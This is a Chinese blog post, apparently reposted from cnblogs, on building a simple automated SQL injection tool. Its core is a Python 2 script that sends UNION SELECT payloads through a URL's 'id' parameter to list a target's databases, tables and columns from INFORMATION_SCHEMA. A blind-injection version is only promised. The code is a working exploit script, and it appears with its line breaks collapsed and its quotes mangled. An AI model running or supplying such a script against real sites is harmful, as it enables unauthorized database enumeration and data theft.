标签:cat port 注入 concat mat schema databases 代码 urllib
0x01 前言
一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。
0x02 SQL注入工具
A、联合查询
union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。
代码详情:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import urllib import re values={} def get(url,values): data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) result=response.content find_list=re.findall(r"qwe~(.+?)~qwe", result) if len(find_list)>0: return find_list def get_database_name(url): values[‘id‘] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA" name_list=get(url,values) print ‘The databases:‘ for i in name_list: print i+" ", print "\n" def table_name(url): database_name=raw_input(‘please input your database:‘) values[‘id‘] = "1 union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"‘"+database_name+"‘" name_list=get(url,values) print ‘The table is :‘ for i in name_list: print i+" ", print "\n" def column_name(url): table_name=raw_input(‘please input your table:‘) values[‘id‘] = "1 union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"‘"+table_name+"‘" name_list=get(url,values) print ‘The column is :‘ for i in name_list: print i+" ", if __name__ == ‘__main__‘: url=‘http://192.168.106.130/config/sql.php‘ get_database_name(url) table_name(url) column_name(url)
运行效果:
B、盲注
盲注的脚本,手里已实现一份,但总感觉代码不过简洁,优化一下再发出来
0x03 待续
标签:cat port 注入 concat mat schema databases 代码 urllib
原文地址:http://www.cnblogs.com/xiaozi/p/7279610.html